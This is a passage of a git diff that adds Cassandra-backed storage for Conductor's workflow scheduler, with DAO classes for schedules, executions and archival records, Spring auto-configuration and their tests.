freeText, int start, int count, List sort) { + Monitors.recordDaoRequests(DAO_NAME, "searchScheduledExecutions", "n/a", "n/a"); + + SchedulerSearchQuery parsed = SchedulerSearchQuery.parse(query); + + // Determine which schedule names to query + List targetScheduleNames; + if (parsed.hasScheduleNames()) { + targetScheduleNames = parsed.getScheduleNames(); + } else { + // Get all distinct schedule names from the partitioned table + List distinctRows = + session.execute( + "SELECT DISTINCT schedule_name FROM " + + properties.getKeyspace() + + "." + + TABLE_ARCHIVAL) + .all(); + targetScheduleNames = + distinctRows.stream() + .map(r -> r.getString("schedule_name")) + .collect(Collectors.toList()); + } + + // Collect rows from each schedule partition + List allModels = new ArrayList<>(); + for (String scheduleName : targetScheduleNames) { + List rows = session.execute(selectByScheduleStmt.bind(scheduleName)).all(); + for (Row row : rows) { + allModels.add(rowToModel(row)); + } + } + + // Filter by state + if (parsed.hasStates()) { + Set stateSet = new HashSet<>(parsed.getStates()); + allModels = + allModels.stream() + .filter( + m -> + m.getState() != null + && stateSet.contains(m.getState().name())) + .collect(Collectors.toList()); + } + + // Filter by time range + if (parsed.getScheduledTimeAfter() != null) { + long after = parsed.getScheduledTimeAfter(); + allModels = + allModels.stream() + .filter( + m -> + m.getScheduledTime() != null + && m.getScheduledTime() > after) + .collect(Collectors.toList()); + } + if (parsed.getScheduledTimeBefore() != null) { + long before = parsed.getScheduledTimeBefore(); + allModels = + allModels.stream() + .filter( + m -> + m.getScheduledTime() != null + && m.getScheduledTime() < before) + .collect(Collectors.toList()); + } + + // Filter by workflow name (substring match) + if (parsed.hasWorkflowName()) { + String term = parsed.getWorkflowName().toLowerCase(); + allModels = + allModels.stream() + .filter( + m -> + m.getWorkflowName() != null + && m.getWorkflowName() + .toLowerCase() + .contains(term)) + .collect(Collectors.toList()); + } + + // Filter by execution ID (exact match) + if (parsed.hasExecutionId()) { + String execId = parsed.getExecutionId(); + allModels = + allModels.stream() + .filter(m -> execId.equals(m.getExecutionId())) + .collect(Collectors.toList()); + } + + // Sort by scheduled_time DESC + allModels.sort( + (a, b) -> + Long.compare( + b.getScheduledTime() != null ? b.getScheduledTime() : 0, + a.getScheduledTime() != null ? a.getScheduledTime() : 0)); + + long totalHits = allModels.size(); + int end = Math.min(start + count, allModels.size()); + List ids = + allModels.subList(start < allModels.size() ? start : allModels.size(), end).stream() + .map(WorkflowScheduleExecutionModel::getExecutionId) + .collect(Collectors.toList()); + return new SearchResult<>(totalHits, ids); + } + + @Override + public Map getExecutionsByIds( + Set executionIds) { + Monitors.recordDaoRequests(DAO_NAME, "getExecutionsByIds", "n/a", "n/a"); + if (executionIds == null || executionIds.isEmpty()) { + return new HashMap<>(); + } + String cql = + "SELECT * FROM " + + properties.getKeyspace() + + "." + + TABLE_ARCHIVAL_BY_ID + + " WHERE execution_id IN ?"; + ResultSet rs = session.execute(cql, new ArrayList<>(executionIds)); + Map result = new HashMap<>(); + for (Row row : rs) { + WorkflowScheduleExecutionModel model = rowToModel(row); + result.put(model.getExecutionId(), model); + } + return result; + } + + @Override + public WorkflowScheduleExecutionModel getExecutionById(String executionId) { + Monitors.recordDaoRequests(DAO_NAME, "getExecutionById", "n/a", "n/a"); + Row row = session.execute(selectByIdStmt.bind(executionId)).one(); + return row == null ? null : rowToModel(row); + } + + @Override + public void cleanupOldRecords(int archivalMaxRecords, int archivalMaxRecordThreshold) { + Monitors.recordDaoRequests(DAO_NAME, "cleanupOldRecords", "n/a", "n/a"); + // Get all distinct schedule names from the by-id table + List allRows = + session.execute( + "SELECT DISTINCT schedule_name FROM " + + properties.getKeyspace() + + "." + + TABLE_ARCHIVAL) + .all(); + Set scheduleNames = + allRows.stream().map(r -> r.getString("schedule_name")).collect(Collectors.toSet()); + + for (String scheduleName : scheduleNames) { + long count = session.execute(countByScheduleStmt.bind(scheduleName)).one().getLong(0); + if (count <= archivalMaxRecordThreshold) { + continue; + } + + // Fetch all rows for this schedule (ordered by scheduled_time DESC from clustering) + List rows = session.execute(selectByScheduleStmt.bind(scheduleName)).all(); + if (rows.size() <= archivalMaxRecords) { + continue; + } + + // Delete rows beyond the keep limit, chunked to avoid exceeding batch size thresholds + List toDelete = rows.subList(archivalMaxRecords, rows.size()); + int chunkSize = CLEANUP_BATCH_CHUNK_SIZE; + for (int i = 0; i < toDelete.size(); i += chunkSize) { + int end = Math.min(i + chunkSize, toDelete.size()); + BatchStatement batch = new BatchStatement(BatchStatement.Type.UNLOGGED); + for (Row row : toDelete.subList(i, end)) { + batch.add( + deleteByScheduleAndTimeStmt.bind( + scheduleName, + row.getLong("scheduled_time"), + row.getString("execution_id"))); + batch.add(deleteByIdStmt.bind(row.getString("execution_id"))); + } + session.execute(batch); + } + log.info( + "Cleaned up {} old archival records for schedule: {}", + toDelete.size(), + scheduleName); + } + } + + private WorkflowScheduleExecutionModel rowToModel(Row row) { + WorkflowScheduleExecutionModel model = new WorkflowScheduleExecutionModel(); + model.setExecutionId(row.getString("execution_id")); + model.setScheduleName(row.getString("schedule_name")); + model.setWorkflowName(row.isNull("workflow_name") ? null : row.getString("workflow_name")); + model.setWorkflowId(row.isNull("workflow_id") ? null : row.getString("workflow_id")); + model.setReason(row.isNull("reason") ? null : row.getString("reason")); + model.setStackTrace(row.isNull("stack_trace") ? null : row.getString("stack_trace")); + String stateStr = row.isNull("state") ? null : row.getString("state"); + if (stateStr != null) { + model.setState(WorkflowScheduleExecutionModel.State.valueOf(stateStr)); + } + model.setScheduledTime(row.isNull("scheduled_time") ? null : row.getLong("scheduled_time")); + model.setExecutionTime(row.isNull("execution_time") ? null : row.getLong("execution_time")); + model.setStartWorkflowRequest( + deserializeStartWorkflowRequest( + row.isNull("start_workflow_request") + ? null + : row.getString("start_workflow_request"))); + return model; + } + + private String serializeStartWorkflowRequest(StartWorkflowRequest request) { + if (request == null) { + return null; + } + try { + return objectMapper.writeValueAsString(request); + } catch (JsonProcessingException e) { + throw new NonTransientException("Failed to serialize StartWorkflowRequest to JSON", e); + } + } + + private StartWorkflowRequest deserializeStartWorkflowRequest(String json) { + if (json == null || json.isEmpty()) { + return null; + } + try { + return objectMapper.readValue(json, StartWorkflowRequest.class); + } catch (Exception e) { + throw new NonTransientException( + "Failed to deserialize StartWorkflowRequest from JSON", e); + } + } +} diff --git a/scheduler/cassandra-persistence/src/main/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerDAO.java b/scheduler/cassandra-persistence/src/main/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerDAO.java new file mode 100644 index 0000000..2e66758 --- /dev/null +++ b/scheduler/cassandra-persistence/src/main/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerDAO.java @@ -0,0 +1,546 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.cassandra.dao; + +import java.util.*; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.cassandra.config.CassandraProperties; +import com.netflix.conductor.cassandra.dao.CassandraBaseDAO; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.metrics.Monitors; + +import com.datastax.driver.core.*; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +/** + * Cassandra implementation of {@link SchedulerDAO}. + * + *

    Extends {@link CassandraBaseDAO} for session/properties management. Schedules are stored as + * JSON blobs in the {@code scheduler_schedules} table. Execution records use the {@code + * scheduler_executions} table. Tables are created by {@link #ensureTables()} on construction. + */ +public class CassandraSchedulerDAO extends CassandraBaseDAO implements SchedulerDAO { + + private static final Logger log = LoggerFactory.getLogger(CassandraSchedulerDAO.class); + private static final String DAO_NAME = "cassandra"; + + private static final String TABLE_SCHEDULES = "scheduler_schedules"; + private static final String TABLE_EXECUTIONS = "scheduler_executions"; + private static final String TABLE_EXEC_BY_SCHEDULE = "scheduler_exec_by_schedule"; + private static final String TABLE_EXEC_BY_STATE = "scheduler_exec_by_state"; + private static final String TABLE_SCHED_BY_WORKFLOW = "scheduler_sched_by_workflow"; + + // objectMapper is private in CassandraBaseDAO; keep a local reference for serialization + private final ObjectMapper objectMapper; + + private PreparedStatement upsertScheduleStmt; + private PreparedStatement selectScheduleByNameStmt; + private PreparedStatement selectAllSchedulesStmt; + private PreparedStatement deleteScheduleStmt; + private PreparedStatement updateNextRunTimeStmt; + private PreparedStatement selectNextRunTimeStmt; + + private PreparedStatement upsertExecutionStmt; + private PreparedStatement selectExecutionByIdStmt; + private PreparedStatement deleteExecutionStmt; + + // Lookup table statements (replacing secondary indexes) + private PreparedStatement insertExecByScheduleStmt; + private PreparedStatement selectExecByScheduleStmt; + private PreparedStatement deleteExecByScheduleStmt; + private PreparedStatement insertExecByStateStmt; + private PreparedStatement selectExecByStateStmt; + private PreparedStatement deleteExecByStateStmt; + private PreparedStatement insertSchedByWorkflowStmt; + private PreparedStatement selectSchedByWorkflowStmt; + private PreparedStatement deleteSchedByWorkflowStmt; + + public CassandraSchedulerDAO( + Session session, ObjectMapper objectMapper, CassandraProperties properties) { + super(session, objectMapper, properties); + this.objectMapper = objectMapper; + ensureTables(); + prepareStatements(); + } + + private void ensureTables() { + String ks = properties.getKeyspace(); + session.execute( + "CREATE TABLE IF NOT EXISTS " + + ks + + "." + + TABLE_SCHEDULES + + " (" + + "scheduler_name text PRIMARY KEY," + + "workflow_name text," + + "json_data text," + + "next_run_time bigint" + + ")"); + session.execute( + "CREATE TABLE IF NOT EXISTS " + + ks + + "." + + TABLE_EXECUTIONS + + " (" + + "execution_id text PRIMARY KEY," + + "schedule_name text," + + "state text," + + "json_data text" + + ")"); + // Denormalized lookup tables (replaces secondary indexes for efficient queries) + session.execute( + "CREATE TABLE IF NOT EXISTS " + + ks + + "." + + TABLE_EXEC_BY_SCHEDULE + + " (schedule_name text, execution_id text," + + " PRIMARY KEY (schedule_name, execution_id))"); + session.execute( + "CREATE TABLE IF NOT EXISTS " + + ks + + "." + + TABLE_EXEC_BY_STATE + + " (state text, execution_id text," + + " PRIMARY KEY (state, execution_id))"); + session.execute( + "CREATE TABLE IF NOT EXISTS " + + ks + + "." + + TABLE_SCHED_BY_WORKFLOW + + " (workflow_name text, scheduler_name text," + + " PRIMARY KEY (workflow_name, scheduler_name))"); + } + + private void prepareStatements() { + String ks = properties.getKeyspace(); + upsertScheduleStmt = + session.prepare( + "INSERT INTO " + + ks + + "." + + TABLE_SCHEDULES + + " (scheduler_name, workflow_name, json_data, next_run_time)" + + " VALUES (?, ?, ?, ?)"); + selectScheduleByNameStmt = + session.prepare( + "SELECT json_data FROM " + + ks + + "." + + TABLE_SCHEDULES + + " WHERE scheduler_name = ?"); + selectAllSchedulesStmt = + session.prepare("SELECT json_data FROM " + ks + "." + TABLE_SCHEDULES); + deleteScheduleStmt = + session.prepare( + "DELETE FROM " + ks + "." + TABLE_SCHEDULES + " WHERE scheduler_name = ?"); + updateNextRunTimeStmt = + session.prepare( + "UPDATE " + + ks + + "." + + TABLE_SCHEDULES + + " SET next_run_time = ? WHERE scheduler_name = ?"); + selectNextRunTimeStmt = + session.prepare( + "SELECT next_run_time FROM " + + ks + + "." + + TABLE_SCHEDULES + + " WHERE scheduler_name = ?"); + + upsertExecutionStmt = + session.prepare( + "INSERT INTO " + + ks + + "." + + TABLE_EXECUTIONS + + " (execution_id, schedule_name, state, json_data)" + + " VALUES (?, ?, ?, ?)"); + selectExecutionByIdStmt = + session.prepare( + "SELECT json_data, state FROM " + + ks + + "." + + TABLE_EXECUTIONS + + " WHERE execution_id = ?"); + deleteExecutionStmt = + session.prepare( + "DELETE FROM " + ks + "." + TABLE_EXECUTIONS + " WHERE execution_id = ?"); + + // Lookup table statements + insertExecByScheduleStmt = + session.prepare( + "INSERT INTO " + + ks + + "." + + TABLE_EXEC_BY_SCHEDULE + + " (schedule_name, execution_id) VALUES (?, ?)"); + selectExecByScheduleStmt = + session.prepare( + "SELECT execution_id FROM " + + ks + + "." + + TABLE_EXEC_BY_SCHEDULE + + " WHERE schedule_name = ?"); + deleteExecByScheduleStmt = + session.prepare( + "DELETE FROM " + + ks + + "." + + TABLE_EXEC_BY_SCHEDULE + + " WHERE schedule_name = ? AND execution_id = ?"); + insertExecByStateStmt = + session.prepare( + "INSERT INTO " + + ks + + "." + + TABLE_EXEC_BY_STATE + + " (state, execution_id) VALUES (?, ?)"); + selectExecByStateStmt = + session.prepare( + "SELECT execution_id FROM " + + ks + + "." + + TABLE_EXEC_BY_STATE + + " WHERE state = ?"); + deleteExecByStateStmt = + session.prepare( + "DELETE FROM " + + ks + + "." + + TABLE_EXEC_BY_STATE + + " WHERE state = ? AND execution_id = ?"); + insertSchedByWorkflowStmt = + session.prepare( + "INSERT INTO " + + ks + + "." + + TABLE_SCHED_BY_WORKFLOW + + " (workflow_name, scheduler_name) VALUES (?, ?)"); + selectSchedByWorkflowStmt = + session.prepare( + "SELECT scheduler_name FROM " + + ks + + "." + + TABLE_SCHED_BY_WORKFLOW + + " WHERE workflow_name = ?"); + deleteSchedByWorkflowStmt = + session.prepare( + "DELETE FROM " + + ks + + "." + + TABLE_SCHED_BY_WORKFLOW + + " WHERE workflow_name = ? AND scheduler_name = ?"); + } + + @Override + public void updateSchedule(WorkflowScheduleModel schedule) { + Monitors.recordDaoRequests(DAO_NAME, "updateSchedule", "n/a", "n/a"); + + // Remove old workflow_name lookup if workflow changed + Row existing = session.execute(selectScheduleByNameStmt.bind(schedule.getName())).one(); + if (existing != null) { + WorkflowScheduleModel old = + fromJson(existing.getString("json_data"), WorkflowScheduleModel.class); + if (old.getStartWorkflowRequest() != null + && old.getStartWorkflowRequest().getName() != null) { + String oldWf = old.getStartWorkflowRequest().getName(); + String newWf = + schedule.getStartWorkflowRequest() != null + ? schedule.getStartWorkflowRequest().getName() + : null; + if (!oldWf.equals(newWf)) { + session.execute(deleteSchedByWorkflowStmt.bind(oldWf, schedule.getName())); + } + } + } + + session.execute( + upsertScheduleStmt.bind( + schedule.getName(), + schedule.getStartWorkflowRequest() != null + ? schedule.getStartWorkflowRequest().getName() + : null, + toJson(schedule), + schedule.getNextRunTime())); + + // Maintain workflow lookup table + if (schedule.getStartWorkflowRequest() != null + && schedule.getStartWorkflowRequest().getName() != null) { + session.execute( + insertSchedByWorkflowStmt.bind( + schedule.getStartWorkflowRequest().getName(), schedule.getName())); + } + } + + @Override + public WorkflowScheduleModel findScheduleByName(String name) { + Monitors.recordDaoRequests(DAO_NAME, "findScheduleByName", "n/a", "n/a"); + Row row = session.execute(selectScheduleByNameStmt.bind(name)).one(); + return row == null + ? null + : fromJson(row.getString("json_data"), WorkflowScheduleModel.class); + } + + @Override + public List getAllSchedules() { + Monitors.recordDaoRequests(DAO_NAME, "getAllSchedules", "n/a", "n/a"); + return session.execute(selectAllSchedulesStmt.bind()).all().stream() + .map(row -> fromJson(row.getString("json_data"), WorkflowScheduleModel.class)) + .collect(Collectors.toList()); + } + + @Override + public List findAllSchedules(String workflowName) { + Monitors.recordDaoRequests(DAO_NAME, "findAllSchedules", "n/a", "n/a"); + List lookupRows = session.execute(selectSchedByWorkflowStmt.bind(workflowName)).all(); + if (lookupRows.isEmpty()) { + return new ArrayList<>(); + } + // Batch-fetch schedules using IN clause instead of N+1 individual queries + List schedulerNames = + lookupRows.stream() + .map(row -> row.getString("scheduler_name")) + .collect(Collectors.toList()); + String cql = + "SELECT json_data FROM " + + properties.getKeyspace() + + "." + + TABLE_SCHEDULES + + " WHERE scheduler_name IN ?"; + ResultSet rs = session.execute(cql, schedulerNames); + return rs.all().stream() + .map(row -> fromJson(row.getString("json_data"), WorkflowScheduleModel.class)) + .collect(Collectors.toList()); + } + + @Override + public Map findAllByNames(Set names) { + Monitors.recordDaoRequests(DAO_NAME, "findAllByNames", "n/a", "n/a"); + if (names == null || names.isEmpty()) { + return new HashMap<>(); + } + // Cassandra IN clause on partition key + String cql = + "SELECT json_data FROM " + + properties.getKeyspace() + + "." + + TABLE_SCHEDULES + + " WHERE scheduler_name IN ?"; + ResultSet rs = session.execute(cql, new ArrayList<>(names)); + Map result = new HashMap<>(); + for (Row row : rs) { + WorkflowScheduleModel model = + fromJson(row.getString("json_data"), WorkflowScheduleModel.class); + result.put(model.getName(), model); + } + return result; + } + + @Override + public void deleteWorkflowSchedule(String name) { + Monitors.recordDaoRequests(DAO_NAME, "deleteWorkflowSchedule", "n/a", "n/a"); + + // Remove workflow lookup entry + Row schedRow = session.execute(selectScheduleByNameStmt.bind(name)).one(); + if (schedRow != null) { + WorkflowScheduleModel sched = + fromJson(schedRow.getString("json_data"), WorkflowScheduleModel.class); + if (sched.getStartWorkflowRequest() != null + && sched.getStartWorkflowRequest().getName() != null) { + session.execute( + deleteSchedByWorkflowStmt.bind( + sched.getStartWorkflowRequest().getName(), name)); + } + } + + // Delete all executions for this schedule using the lookup table + List execRows = session.execute(selectExecByScheduleStmt.bind(name)).all(); + if (!execRows.isEmpty()) { + // Batch-fetch execution states using IN clause (avoids N+1 reads) + List execIds = + execRows.stream() + .map(row -> row.getString("execution_id")) + .collect(Collectors.toList()); + String cql = + "SELECT execution_id, state FROM " + + properties.getKeyspace() + + "." + + TABLE_EXECUTIONS + + " WHERE execution_id IN ?"; + Map statesByExecId = new HashMap<>(); + for (Row r : session.execute(cql, execIds)) { + statesByExecId.put( + r.getString("execution_id"), + r.isNull("state") ? null : r.getString("state")); + } + + // Batch all deletes (state lookup + execution + schedule lookup) + BatchStatement batch = new BatchStatement(BatchStatement.Type.UNLOGGED); + for (String execId : execIds) { + String state = statesByExecId.get(execId); + if (state != null) { + batch.add(deleteExecByStateStmt.bind(state, execId)); + } + batch.add(deleteExecutionStmt.bind(execId)); + batch.add(deleteExecByScheduleStmt.bind(name, execId)); + } + session.execute(batch); + } + session.execute(deleteScheduleStmt.bind(name)); + } + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel execution) { + Monitors.recordDaoRequests(DAO_NAME, "saveExecutionRecord", "n/a", "n/a"); + String execId = execution.getExecutionId(); + String stateStr = execution.getState() != null ? execution.getState().name() : null; + + // If updating an existing record, remove old state lookup entry + Row existing = session.execute(selectExecutionByIdStmt.bind(execId)).one(); + if (existing != null) { + String oldState = existing.isNull("state") ? null : existing.getString("state"); + if (oldState != null && !oldState.equals(stateStr)) { + session.execute(deleteExecByStateStmt.bind(oldState, execId)); + } + } + + session.execute( + upsertExecutionStmt.bind( + execId, execution.getScheduleName(), stateStr, toJson(execution))); + + // Maintain lookup tables + session.execute(insertExecByScheduleStmt.bind(execution.getScheduleName(), execId)); + if (stateStr != null) { + session.execute(insertExecByStateStmt.bind(stateStr, execId)); + } + } + + @Override + public WorkflowScheduleExecutionModel readExecutionRecord(String executionId) { + Monitors.recordDaoRequests(DAO_NAME, "readExecutionRecord", "n/a", "n/a"); + Row row = session.execute(selectExecutionByIdStmt.bind(executionId)).one(); + return row == null + ? null + : fromJson(row.getString("json_data"), WorkflowScheduleExecutionModel.class); + } + + @Override + public void removeExecutionRecord(String executionId) { + Monitors.recordDaoRequests(DAO_NAME, "removeExecutionRecord", "n/a", "n/a"); + // Read execution to get schedule_name and state for lookup table cleanup + Row row = session.execute(selectExecutionByIdStmt.bind(executionId)).one(); + if (row != null) { + WorkflowScheduleExecutionModel exec = + fromJson(row.getString("json_data"), WorkflowScheduleExecutionModel.class); + session.execute(deleteExecByScheduleStmt.bind(exec.getScheduleName(), executionId)); + if (exec.getState() != null) { + session.execute(deleteExecByStateStmt.bind(exec.getState().name(), executionId)); + } + } + session.execute(deleteExecutionStmt.bind(executionId)); + } + + @Override + public List getPendingExecutionRecordIds() { + Monitors.recordDaoRequests(DAO_NAME, "getPendingExecutionRecordIds", "n/a", "n/a"); + return session.execute(selectExecByStateStmt.bind("POLLED")).all().stream() + .map(row -> row.getString("execution_id")) + .collect(Collectors.toList()); + } + + @Override + public long getNextRunTimeInEpoch(String scheduleName) { + Monitors.recordDaoRequests(DAO_NAME, "getNextRunTimeInEpoch", "n/a", "n/a"); + Row row = session.execute(selectNextRunTimeStmt.bind(scheduleName)).one(); + if (row == null || row.isNull("next_run_time")) { + return -1L; + } + return row.getLong("next_run_time"); + } + + @Override + public void setNextRunTimeInEpoch(String scheduleName, long epochMillis) { + Monitors.recordDaoRequests(DAO_NAME, "setNextRunTimeInEpoch", "n/a", "n/a"); + session.execute(updateNextRunTimeStmt.bind(epochMillis, scheduleName)); + } + + @Override + public SearchResult searchSchedules( + String workflowName, + String scheduleName, + Boolean paused, + String freeText, + int start, + int size, + List sortOptions) { + Monitors.recordDaoRequests(DAO_NAME, "searchSchedules", "n/a", "n/a"); + // Cassandra doesn't support complex queries; fetch all and filter in-memory. + // Acceptable for schedule counts (typically < 1000 per deployment). + List all = getAllSchedules(); + List filtered = + all.stream() + .filter( + s -> { + if (workflowName != null + && !workflowName.isEmpty() + && s.getStartWorkflowRequest() != null + && !workflowName.equals( + s.getStartWorkflowRequest().getName())) { + return false; + } + if (scheduleName != null + && !scheduleName.isEmpty() + && !s.getName().contains(scheduleName)) { + return false; + } + if (paused != null && s.isPaused() != paused) { + return false; + } + return true; + }) + .sorted(Comparator.comparing(WorkflowScheduleModel::getName)) + .collect(Collectors.toList()); + + long totalHits = filtered.size(); + int end = Math.min(start + size, filtered.size()); + List page = + start < filtered.size() ? filtered.subList(start, end) : List.of(); + return new SearchResult<>(totalHits, page); + } + + private String toJson(Object value) { + try { + return objectMapper.writeValueAsString(value); + } catch (JsonProcessingException e) { + throw new NonTransientException("Failed to serialize to JSON", e); + } + } + + private T fromJson(String json, Class clazz) { + try { + return objectMapper.readValue(json, clazz); + } catch (Exception e) { + throw new NonTransientException("Failed to deserialize JSON", e); + } + } +} diff --git a/scheduler/cassandra-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/scheduler/cassandra-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports new file mode 100644 index 0000000..ef7135d --- /dev/null +++ b/scheduler/cassandra-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -0,0 +1 @@ +org.conductoross.conductor.scheduler.cassandra.config.CassandraSchedulerConfiguration diff --git a/scheduler/cassandra-persistence/src/test/java/org/conductoross/conductor/scheduler/cassandra/config/CassandraSchedulerAutoConfigurationTest.java b/scheduler/cassandra-persistence/src/test/java/org/conductoross/conductor/scheduler/cassandra/config/CassandraSchedulerAutoConfigurationTest.java new file mode 100644 index 0000000..d4c4904 --- /dev/null +++ b/scheduler/cassandra-persistence/src/test/java/org/conductoross/conductor/scheduler/cassandra/config/CassandraSchedulerAutoConfigurationTest.java @@ -0,0 +1,117 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.cassandra.config; + +import org.junit.Test; +import org.springframework.boot.autoconfigure.AutoConfigurations; +import org.springframework.boot.test.context.runner.ApplicationContextRunner; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.cassandra.config.CassandraProperties; +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.datastax.driver.core.Session; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.mockito.Mockito.mock; + +public class CassandraSchedulerAutoConfigurationTest { + + @Configuration + static class MockCassandraBeans { + @Bean + public Session cassandraSession() { + return mock(Session.class); + } + + @Bean + public CassandraProperties cassandraProperties() { + CassandraProperties props = new CassandraProperties(); + props.setKeyspace("test_keyspace"); + return props; + } + + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapperProvider().getObjectMapper(); + } + } + + private ApplicationContextRunner baseRunner() { + return new ApplicationContextRunner() + .withConfiguration(AutoConfigurations.of(CassandraSchedulerConfiguration.class)) + .withUserConfiguration(MockCassandraBeans.class); + } + + @Test + public void testBeansRegistered_whenCassandraAndSchedulerEnabled() { + baseRunner() + .withPropertyValues( + "conductor.db.type=cassandra", "conductor.scheduler.enabled=true") + .run( + ctx -> { + assertThat(ctx).hasSingleBean(SchedulerDAO.class); + assertThat(ctx).hasSingleBean(SchedulerArchivalDAO.class); + }); + } + + @Test + public void testNoBeansRegistered_whenSchedulerEnabledMissing() { + baseRunner() + .withPropertyValues("conductor.db.type=cassandra") + .run( + ctx -> { + assertThat(ctx).doesNotHaveBean(SchedulerDAO.class); + assertThat(ctx).doesNotHaveBean(SchedulerArchivalDAO.class); + }); + } + + @Test + public void testNoBeansRegistered_whenSchedulerDisabled() { + baseRunner() + .withPropertyValues( + "conductor.db.type=cassandra", "conductor.scheduler.enabled=false") + .run( + ctx -> { + assertThat(ctx).doesNotHaveBean(SchedulerDAO.class); + assertThat(ctx).doesNotHaveBean(SchedulerArchivalDAO.class); + }); + } + + @Test + public void testNoBeansRegistered_whenDbTypeIsNotCassandra() { + baseRunner() + .withPropertyValues( + "conductor.db.type=postgres", "conductor.scheduler.enabled=true") + .run( + ctx -> { + assertThat(ctx).doesNotHaveBean(SchedulerDAO.class); + assertThat(ctx).doesNotHaveBean(SchedulerArchivalDAO.class); + }); + } + + @Test + public void testNoBeansRegistered_whenDbTypeAbsent() { + baseRunner() + .withPropertyValues("conductor.scheduler.enabled=true") + .run( + ctx -> { + assertThat(ctx).doesNotHaveBean(SchedulerDAO.class); + assertThat(ctx).doesNotHaveBean(SchedulerArchivalDAO.class); + }); + } +} diff --git a/scheduler/cassandra-persistence/src/test/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerArchivalDAOTest.java b/scheduler/cassandra-persistence/src/test/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerArchivalDAOTest.java new file mode 100644 index 0000000..2b77e36 --- /dev/null +++ b/scheduler/cassandra-persistence/src/test/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerArchivalDAOTest.java @@ -0,0 +1,280 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.cassandra.dao; + +import java.util.*; + +import org.junit.*; +import org.testcontainers.containers.CassandraContainer; + +import com.netflix.conductor.cassandra.config.CassandraProperties; +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; + +import com.datastax.driver.core.Session; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; + +import static org.junit.Assert.*; + +public class CassandraSchedulerArchivalDAOTest { + + private static final String KEYSPACE = "conductor_test"; + + @ClassRule + public static final CassandraContainer cassandra = + new CassandraContainer<>("cassandra:3.11.2"); + + private static Session session; + private static ObjectMapper objectMapper; + private CassandraSchedulerArchivalDAO dao; + + @BeforeClass + public static void setUpOnce() { + session = cassandra.getCluster().newSession(); + session.execute( + "CREATE KEYSPACE IF NOT EXISTS " + + KEYSPACE + + " WITH replication = {'class':'SimpleStrategy','replication_factor':1}"); + objectMapper = new ObjectMapperProvider().getObjectMapper(); + } + + @Before + public void setUp() { + session.execute("DROP TABLE IF EXISTS " + KEYSPACE + ".scheduler_archival_executions"); + session.execute("DROP TABLE IF EXISTS " + KEYSPACE + ".scheduler_archival_by_id"); + CassandraProperties properties = new CassandraProperties(); + properties.setKeyspace(KEYSPACE); + dao = new CassandraSchedulerArchivalDAO(session, objectMapper, properties); + } + + @AfterClass + public static void tearDown() { + if (session != null) { + session.close(); + } + } + + // ========================================================================= + // Save and retrieve + // ========================================================================= + + @Test + public void testSaveAndGetById() { + WorkflowScheduleExecutionModel model = buildExecution("sched-1", "exec-1"); + dao.saveExecutionRecord(model); + + WorkflowScheduleExecutionModel found = dao.getExecutionById("exec-1"); + assertNotNull(found); + assertEquals("exec-1", found.getExecutionId()); + assertEquals("sched-1", found.getScheduleName()); + assertEquals("test-wf", found.getWorkflowName()); + assertEquals(WorkflowScheduleExecutionModel.State.EXECUTED, found.getState()); + } + + @Test + public void testGetById_notFound_returnsNull() { + assertNull(dao.getExecutionById("no-such-id")); + } + + @Test + public void testSaveAndGetByIds() { + dao.saveExecutionRecord(buildExecution("sched-1", "exec-a")); + 